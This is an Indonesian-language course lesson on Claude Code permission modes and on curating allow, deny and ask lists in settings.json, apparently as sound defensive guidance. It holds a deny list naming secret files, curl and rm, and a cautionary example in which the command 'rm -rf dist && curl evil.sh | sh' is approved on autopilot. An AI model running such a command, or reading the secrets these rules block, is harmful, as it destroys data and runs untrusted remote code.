L PlnExo Course
Claude Code Fast Track

Mode Izin (Permission) — Sesuaikan Otonomi dengan Risiko

Preview

Setiap kali Claude Code hendak menyunting sebuah berkas atau menjalankan sebuah perintah, ia bisa berhenti dan bertanya lebih dulu kepada Anda. Prompt itulah panel kontrol Anda — momen ketika Anda menyetujui atau menolak sebuah tindakan. Mode izin (permission) menentukan seberapa sering Claude berhenti untuk bertanya. Setel tuasnya terlalu waspada, Anda tenggelam dalam prompt sampai akhirnya menyetujui apa saja secara refleks (termasuk yang seharusnya penting). Setel terlalu longgar, Claude berjalan tanpa pengawasan di tempat yang seharusnya tidak. Kunci penguasaannya sederhana: sesuaikan otonomi dengan risiko.


Inti Utama

Prompt permission adalah fitur, bukan gesekan yang harus dihilangkan. Tujuannya bukan prompt yang lebih sedikit — melainkan membuat prompt yang memang muncul layak dibaca.

Anda mencapai itu lewat dua cara: pilih mode yang tepat untuk tugasnya, dan kurasi allow/deny list agar tindakan rutin yang aman berjalan diam-diam dan hanya keputusan yang benar-benar penting yang menyela Anda.


Empat mode

Mode Menyetujui otomatis Tetap menanyakan Cara masuk Pakai saat
default tidak ada edit dan perintah (mode awal) Pekerjaan asing atau berisiko; Anda ingin mengamati tiap langkah
acceptEdits (⏵⏵) edit berkas menjalankan perintah Shift+Tab Anda sudah menyetujui rencana dan percaya arahnya; penyuntingan intensif
plan () — (read-only) tidak bisa bertindak sama sekali Shift+Tab Eksplorasi / merencanakan sebelum ada perubahan (Bab 1.3)
bypassPermissions semuanya tidak ada --dangerously-skip-permissions Hanya di sandbox/container/CI yang terisolasi

Cara berpindah:

  • Shift+Tab berputar: default → ⏵⏵ acceptEdits⏸ plan → kembali ke default.
  • Flag CLI: --permission-mode plan, --permission-mode acceptEdits, --dangerously-skip-permissions.
  • Default via settings: setel "defaultMode" di bawah permissions pada settings.json agar sebuah proyek selalu dimulai di mode yang Anda inginkan.

Perhatikan bentuk tuasnya: plan paling ketat (Claude tidak bisa mengubah apa pun), default mengawasi setiap tindakan, acceptEdits mempercayai edit tetapi menjaga perintah, dan bypass memercayai semuanya. Anda menaikkan tuas seiring naiknya kepercayaan diri Anda — dan keamanan environment Anda.

Pembaruan 2026: versi terbaru menambahkan mode auto — sebuah pengklasifikasi keamanan menyetujui otomatis tindakan yang jelas aman dan memblokir yang merusak (mis. git reset --hard) — plus mode dontAsk. Selain itu ada protected paths: .git/, .claude/, dan direktori konfigurasi editor tidak pernah disetujui otomatis di mode mana pun kecuali bypassPermissions. Cek Shift+Tab dan /permissions di versi Anda untuk melihat mode yang tersedia. Detail di dokumentasi resmi.


Kekuatan sesungguhnya: allow / deny list

Mode adalah tuas kasar. Allow/deny list adalah tuas halusnya — dan di sinilah para profesional menghabiskan lima menit persiapan mereka. Ia tinggal di settings.json di bawah permissions:

{
  "permissions": {
    "defaultMode": "default",
    "allow": [
      "Bash(git status)",
      "Bash(git diff:*)",
      "Bash(ls:*)",
      "Bash(pnpm test:*)",
      "Bash(pnpm lint:*)",
      "Bash(pnpm typecheck)"
    ],
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(./secrets/**)",
      "Bash(curl:*)",
      "Bash(rm:*)"
    ],
    "ask": [
      "Bash(git push:*)"
    ]
  }
}
  • allow — ini berjalan tanpa prompt. Isi dengan perintah yang aman, berulang, dan read-only (status, diff, test, lint) agar tidak lagi menyela Anda.
  • deny — ini diblokir sepenuhnya, dan deny menang atas allow. Beginilah cara Anda mencegah Claude membaca .env selamanya (terkait Bab 2.6) atau menjalankan perintah yang merusak/mengekstraksi data.
  • ask — selalu memunculkan prompt, bahkan di mode yang longgar. Simpan untuk tindakan "apakah Anda yakin" seperti git push.

Kelola secara langsung dengan perintah /permissions, atau biarkan skill /fewer-permission-prompts memindai sesi-sesi terakhir Anda dan mengusulkan allowlist dari perintah-perintah aman yang terus Anda setujui.


Sebelum / Sesudah: jebakan kelelahan prompt

Tanpa allowlist — setiap perintah rutin bertanya:

> run the tests
  Allow: Bash(pnpm test)?  [y/N]  y
> check what changed
  Allow: Bash(git diff)?   [y/N]  y
> list the files
  Allow: Bash(ls src)?     [y/N]  y
  ... 40 more times this hour ...
  Allow: Bash(rm -rf dist && curl evil.sh | sh)?  [y/N]  y   ← 😱 you approved on autopilot

Lima puluh y refleks kemudian, Anda berhenti membaca prompt-nya — sehingga satu tindakan berbahaya lolos begitu saja karena kebiasaan otot. Kelelahan prompt adalah risiko keamanan.

Dengan allow/deny list yang terkurasi — hal yang aman berjalan senyap, sehingga prompt yang jarang muncul itu berarti:

> run the tests        # runs silently (allowlisted)
> check what changed   # runs silently (allowlisted)
> list the files       # runs silently (allowlisted)

  Allow: Bash(git push origin main)?  [y/N]     ← this one you actually READ

Workflow yang sama, tetapi kini setiap prompt adalah keputusan yang sungguhan. Itulah inti seluruh bab ini: prompt yang lebih sedikit, tetapi lebih bermutu.


Memilih mode — aturan cepat

  • Default untuk apa pun yang asing, berisiko, atau saat Anda ingin melihat tiap langkah.
  • acceptEdits setelah Anda mengunci pendekatannya di plan mode — biarkan Claude menyunting dengan leluasa sementara Anda tetap menjaga eksekusi perintah.
  • Plan kapan pun Anda sedang bereksplorasi atau mengambil keputusan (Bab 1.3).
  • Bypass hanya ketika radius dampaknya terkurung: container sekali pakai, CI runner yang terisolasi, git worktree yang bisa Anda hapus. Jangan pernah di mesin utama Anda terhadap repo sungguhan.

Pasangan yang perlu diingat: plan mode untuk memutuskan → acceptEdits untuk membangun. Anda sudah me-review apa-nya, jadi Anda bisa dengan aman mempercepat bagaimana-nya.


Aturan keamanan yang wajib ditanam

  • Blokir rahasia (secrets), selalu. Read(./.env*) dan Read(./secrets/**) di setiap proyek. Claude tidak pernah butuh nilainya (Bab 2.6).
  • Jangan pernah meng-allow ekstraksi data secara borongan. Jauhkan Bash(curl:*) / Bash(wget:*) dari allow — setujui itu kasus per kasus.
  • Jaga perintah yang merusak. rm, migrate reset, git push --force masuk ke deny atau ask, jangan pernah allow.
  • Bagikan allowlist, simpan penyesuaian pribadi secara lokal. Taruh allow/deny tim di .claude/settings.json yang di-commit; taruh yang khusus mesin di .claude/settings.local.json yang git-ignored.

Peringatan

Jangan "menyelesaikan" masalah permission dengan langsung meraih mode bypass. Mematikan prompt tidak membuat risikonya lenyap — ia hanya menghilangkan kesempatan Anda untuk menangkapnya. Langkah yang cakap adalah gesekan yang terkalibrasi: senyapkan 95% yang aman dengan allowlist agar perhatian Anda tersedia untuk 5% yang benar-benar butuh manusia. Satu prompt yang Anda baca lebih berharga daripada seratus prompt yang Anda tepis secara refleks.


Bisa diunduh: Permission Config Pack

Di ../../artifacts/permission-config-pack/:

Berkas Kegunaan
settings.permissions.json Blok allow/deny/ask awal — default yang aman, jatuhkan ke .claude/settings.json
mode-cheatsheet.md 4 mode: kapan dipakai, cara masuk, batas keamanannya
allow-deny-recipes.md Resep aturan salin-tempel (Node, Python, git, secrets, bahaya)
README.md Pemasangan 5 menit + cara menyetelnya dengan /permissions

Pemasangan: gabungkan settings.permissions.json ke dalam .claude/settings.json proyek Anda, lalu jalankan /permissions untuk menyetel halus terhadap perintah-perintah Anda yang sebenarnya.